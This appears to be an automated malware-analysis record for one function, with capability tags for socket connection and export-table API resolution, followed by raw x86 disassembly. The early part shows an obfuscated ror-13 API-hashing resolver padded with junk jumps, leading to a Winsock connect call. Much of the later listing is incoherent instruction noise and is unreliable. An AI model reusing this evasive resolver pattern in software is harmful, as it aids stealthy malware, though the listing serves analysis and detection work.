Function at 0x406840
Capabilities:
Connect socket
Resolve function by parsing pe exports

Disassembly:
xor edi, edi
nop
jmp 0x405781
movzx ecx, word [edx + 0x26]
jmp 0x40578f
mov esi, dword [edx + 0x28]
jmp 0x4057a0
nop
xor eax, eax
nop
jmp 0x4057b1
lodsb al, byte [esi]
nop
jmp 0x4057c4
cmp al, 0x61
jl 0x4057da
jmp 0x4057d7
sub al, 0x20
nop
ror edi, 0xd
jmp 0x4057ea
add edi, eax
jmp 0x4057f8
dec ecx
nop
jmp 0x405807
jne 0x4057a0
nop
push edx
nop
push edi
jmp 0x40581f
mov edx, dword [edx + 0x10]
jmp 0x405831
mov eax, dword [edx + 0x3c]
jmp 0x405843
add eax, edx
nop
mov eax, dword [eax + 0x78]
nop
test eax, eax
nop
je 0x405a07
add dword [eax], eax
invalid
nop
jmp 0x40585f
nop
jmp 0x40586a
add eax, edx
nop
jmp 0x405877
or al, 0x7b
xchg ebp, eax
test al, 0x90
push edi
add eax, 0x20588b20
mov ebx, dword [eax + 0x20]
nop
jmp 0x405887
mov ecx, dword [eax + 0x18]
nop
jmp 0x405899
add ebx, edx
push eax
nop
jmp 0x4058a7
test ecx, ecx
je 0x4059ea
nop
jmp 0x4058bc
nop
dec ecx
nop
jmp 0x4058c9
xor edi, edi
nop
mov esi, dword [ebx + ecx*4]
nop
jmp 0x4058df
add esi, edx
nop
xor eax, eax
jmp 0x4058ef
lodsb al, byte [esi]
nop
ror edi, 0xd
add edi, eax
nop
jmp 0x405902
cmp al, ah
nop
jne 0x4058e2
jmp 0x40591c
add edi, dword [ebp - 8]
jmp 0x40592b
cmp edi, dword [ebp + 0x24]
jne 0x40589d
jmp 0x405948
jmp 0x40595b
pop eax
jmp 0x405970
mov ebx, dword [eax + 0x24]
add ebx, edx
nop
mov cx, word [ebx + ecx*2]
mov ebx, dword [eax + 0x1c]
add ebx, edx
jmp 0x40598f
mov eax, dword [ebx + ecx*4]
jmp 0x4059a1
add eax, edx
mov dword [esp + 0x24], eax
nop
jmp 0x4059b7
pop ebx
nop
jmp 0x4059c7
pop ebx
popal
pop ecx
jmp 0x4059d7
pop edx
nop
push ecx
jmp 0x4059e7
jmp eax
jmp 0x4059f7
pop eax
nop
jmp 0x405a07
pop edi
nop
pop edx
nop
mov edx, dword [edx]
jmp 0x405a1a
jmp 0x40576d
push ebp
mov ebp, esp
add dword [esi + 0x8710], 0x41e58b53
push esi
push edi
mov esi, dword [0xfff88304]
je 0x40afef
dec esi
in eax, 0x10
test ecx, ecx
je 0x4069ef
mov esi, dword [ebp + 0xc]
mov ecx, dword [esi + 0x14]
lea edx, [esi + 0x28]
push ecx
lodsb al, byte [esi]
push eax
call dword [sym.imp.WSOCK32.dll_connect]
cmp eax, 0xffffffff
setne ah
add dword [eax], eax
add byte [ebx + 0x40c15035], cl
add bh, bh
salc
test eax, eax
je 0x40698a
push esp
salc
add eax, 0xafc80
cmp eax, 0xd40b23b3
jne 0x4069f4
mov edi, dword [ebx + 0x20]
mov ebp, dword [esi - 0x49a474dc]
invalid
pop edi
pop esi
sub al, 0xc0
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ebp, edi
jne 0x406a43
add byte [edi - 0x58], bl
pop ebx
pop edi
test al, 0x5b
sub eax, 0x8dc2b298
add byte [eax - 0x74aa6f70], dl
in al, dx
sub esp, 8
aaa
inc ebp
clc
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
ficom dword [ebp - 4]
mov eax, dword [ebp - 8]
xor esi, esi
xor esi, dword [ebx + 0xb6ad60b]
sbb ebp, dword [edx + 0xa]
mov edx, 0x4767e851
add byte [eax], al
sub eax, 0xb1864000
sbb edx, 0x5675e96
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
xor ecx, ecx
push esi
xor esp, dword [edx + 0x66]
mov ecx, dword [eax - 0x73]
lea ecx, [ecx + ecx*4]
lea ecx, [esi + ecx]
lea edx, [edx + edx*4]
mov ecx, dword [ebp + 8]
shl edx, 3
mov dword [0x66d23311], eax
cmp byte [eax - 0x4e], dl
mov dword [ecx + 0x57], edx
xor edx, edx
mov dx, word [eax + 0xa]
mov dword [ecx + 8], edx
xor ecx, dword [esi + 0x15578b66]
test dword [ecx + 0xc], edx
xor edx, edx
mov si, word [edx + 6]
mov dword [ecx + 0x10], edx
dec ebp
shl dword [esi - 0x75], cl
push eax
add cl, byte [edx - 0x77]
push ecx
adc al, 0x33
shl byte [ebx + ecx*4], cl
adc byte [edx], ah
ljmp 0xf389
enter 0x458b, 8
mov dword [ebx + 0x3c], esi
jg 0x40b06d
adc byte [ecx - 0x3f7a03ab], cl
mov dword [ebx], ebx
clc
je 0x40586f
jmp 0x40b017
in al, 0x45
retf
in eax, 0x5d
ret 0xc